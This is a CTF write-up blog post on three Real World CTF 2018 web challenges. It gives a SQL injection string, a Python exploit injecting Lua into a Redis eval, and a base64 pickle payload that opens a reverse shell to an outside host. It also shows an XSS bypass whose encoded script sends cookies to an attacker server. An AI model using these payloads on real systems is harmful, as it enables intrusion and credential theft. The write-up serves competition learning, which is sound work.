Realworld CTF 2018

3 minute read

Advertisement

It gives us a link https://realworldctf.com/contest/5b5bc66832a7ca002f39a26b to let us hack the platform.

Just try some simple SQL injection payloads, we can get the flag:https://realworldctf.com/contest/5b5bc66832a7ca002f39a26b"or"1"=1

Bookhub

Let’s see the key code snippet:


@login_required
@user_blueprint.route('/admin/system/refresh_session/', methods=['POST'])
def refresh_session():
    """
    delete all session except the logined user

    :return: json
    """

    status = 'success'
    sessionid = flask.session.sid
    prefix = app.config['SESSION_KEY_PREFIX']

    if flask.request.form.get('submit', None) == '1':
        try:
            rds.eval(rf'''
            local function has_value (tab, val)
                for index, value in ipairs(tab) do
                    if value == val then
                        return true
                    end
                end
                
                return false
            end
                
            local inputs = {{ "{prefix}{sessionid}" }}
            local sessions = redis.call("keys", "{prefix}*")
                
            for index, sid in ipairs(sessions) do
                if not has_value(inputs, sid) then
                    redis.call("del", sid)
                end
            end
            ''', 0)
        except redis.exceptions.ResponseError as e:
            app.logger.exception(e)
            status = 'fail'

    return flask.jsonify(dict(status=status))

And the:

@user_blueprint.route('/login/', methods=['GET', 'POST'])
def login():
    form = LoginForm(data=flask.request.data)
    if form.validate_on_submit():
        user = User.query.filter_by(username=form.username.data).first()
        login_user(user, remember=form.remember_me.data)

        return flask.redirect(flask.url_for('book.admin'))

    return flask.render_template('login.html', form=form)

In the refresh_session function, we get an rds.eval which evals lua code and also control prefix via app.config['SESSION_KEY_PREFIX']. } payload { will lead to code execution.

To bypass CSRF protection, we need to create a session by giving bookhub-session(which is our payload). The attack script is:

import requests
import re

# Debug
DEBUG_URL = "http://18.213.16.123:5000"
# DEBUG_URL = "http://127.0.0.1:5000"
DEBUG_LOGIN = DEBUG_URL + "/login/"
DEBUG_REFRESH = DEBUG_URL + "/admin/system/refresh_session/"

def log(s):
    print(f"[*] {s}")

def create_csrf_token(session_id):
    cookies = { "bookhub-session" : session_id }
    response = requests.get(DEBUG_LOGIN, cookies=cookies)

    csrf_token = re.findall('name="csrf_token" type="hidden" value="(.+?)">', response.text)[0]
    return csrf_token


def refresh_session(session_id, csrf_token):
    headers = { "Content-Type" : "application/x-www-form-urlencoded" }
    cookies = { "bookhub-session" : session_id }
    data = { "csrf_token" : csrf_token, "submit" : 1 }

    response = requests.post(DEBUG_REFRESH, headers=headers, cookies=cookies, data=data)
    return response.text

# Create CSRF token
lua_payload = '"} and redis.call("BGSAVE") and {"a'
csrf_token = create_csrf_token(lua_payload)
log(f"CSRF Token : {csrf_token}")

# LUA code exec
response = refresh_session(lua_payload, csrf_token)
print(response)

. Just edit variable lua_payload to run yours.

Now, we need to leak the flag. First, we should keep our session via following payload: 'abc",redis.call("set","bookhub:session:abc",YOUR_SESSION),"'

Later, we found that the code uses pickle to unserialize, which allows us to RCE.

Basically, we can use:

Y3Bvc2l4CnN5c3RlbQpwMQooUydweXRob24gLWMgXCdpbXBvcnQgc29ja2V0LHN1YnByb2Nlc3Msb3M7cz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSk7cy5jb25uZWN0KCgidXJsLndlLmNvbnRyb2xsIiw0NDQ0KSk7b3MuZHVwMihzLmZpbGVubygpLDApOyBvcy5kdXAyKHMuZmlsZW5vKCksMSk7cD1zdWJwcm9jZXNzLmNhbGwoWyIvYmluL3NoIiwiLWkiXSk7XCcnCnAyCnRScDMKLg

as YOUR_SESSION, then we can get shell.

Dot Free

Source code:

<script>
    function lls(src) {
        var el = document.createElement('script');
        if (el) {
            el.setAttribute('type', 'text/javascript');
            el.src = src;
            document.body.appendChild(el);
        }
    };

    function lce(doc, def, parent) {
        var el = null;
        if (typeof doc.createElementNS != "undefined") el = doc.createElementNS("http://www.w3.org/1999/xhtml", def[0]);
        else if (typeof doc.createElement != "undefined") el = doc.createElement(def[0]);

        if (!el) return false;

        for (var i = 1; i
        < def.length; i++) el.setAttribute(def[i++], def[i]);
        if (parent) parent.appendChild(el);
        return el;
    };
    window.addEventListener('message', function (e) {
        if (e.data.iframe) {
            if (e.data.iframe && e.data.iframe.value.indexOf('.') == -1 && e.data.iframe.value.indexOf("//") == -1 && e.data.iframe.value.indexOf("。") == -1 && e.data.iframe.value && typeof(e.data.iframe != 'object')) {
                if (e.data.iframe.type == "iframe") {
                    lce(doc, ['iframe', 'width', '0', 'height', '0', 'src', e.data.iframe.value], parent);
                } else {
                    lls(e.data.iframe.value)
                }
            }
        }
    }, false);
    window.onload = function (ev) {
        postMessage(JSON.parse(decodeURIComponent(location.search.substr(1))), '*')
    }
</script>
<body>
<div class="body"></div>
<div class="grad"></div>
<div class="header">
    <div>Dot <span>Free</span></div>

</div>
<form action="/Recieve/" class="login" method="POST">
    <input type="text" placeholder="URL" name="url"><br><br><br><br>
    <input type="submit" value="Submit">
</form>

Basically, we need to attach ? plus a json at the end of path, like this:

http://server/?{"iframe":{"value":"your uri"}}

Then, our JSON will be passed to:

function (e) {
        if (e.data.iframe) {
            if (e.data.iframe && e.data.iframe.value.indexOf('.') == -1 && e.data.iframe.value.indexOf("//") == -1 && e.data.iframe.value.indexOf("。") == -1 && e.data.iframe.value && typeof(e.data.iframe != 'object')) {
                if (e.data.iframe.type == "iframe") {
                    lce(doc, ['iframe', 'width', '0', 'height', '0', 'src', e.data.iframe.value], parent);
                } else {
                    lls(e.data.iframe.value)
                }
            }
        }

My exploit only cares the lls function, so let’s talk about that. Just do not add an iframe type in your JSON, you can trigger the lls:

function lls(src) {
    var el = document.createElement('script');
    if (el) {
        el.setAttribute('type', 'text/javascript');
        el.src = src;
        document.body.appendChild(el);
    }
}

The function will attach our value as script tag’s src. Because of limitation:

if (e.data.iframe && e.data.iframe.value.indexOf('.') == -1 && e.data.iframe.value.indexOf("//") == -1 && e.data.iframe.value.indexOf("。") == -1 && e.data.iframe.value && typeof(e.data.iframe != 'object')) 

We cannot give http:// or https:// to execute arbitrary code.

However, we can use data:text/html protocol to bypass. With base64 encryption, we can use . to call function.

Final payload:

http://13.57.104.34/?{"iframe":{"value":"data:text/html;base64,dmFyIG9SZXEgPSBuZXcgWE1MSHR0cFJlcXVlc3QoKTsKb1JlcS5vcGVuKCJHRVQiLCAiaHR0cDovL3J1Zi5leGV5ZS5pby8iK2RvY3VtZW50LmNvb2tpZSk7Cm9SZXEuc2VuZCgpOw"}}

The encrypted data is the same as:

var oReq = new XMLHttpRequest();
oReq.open("GET", "http://yourserver/"+document.cookie);
oReq.send();

Then you can get flag by viewing http request log.

Tags:

Categories:

Updated:

Leave a comment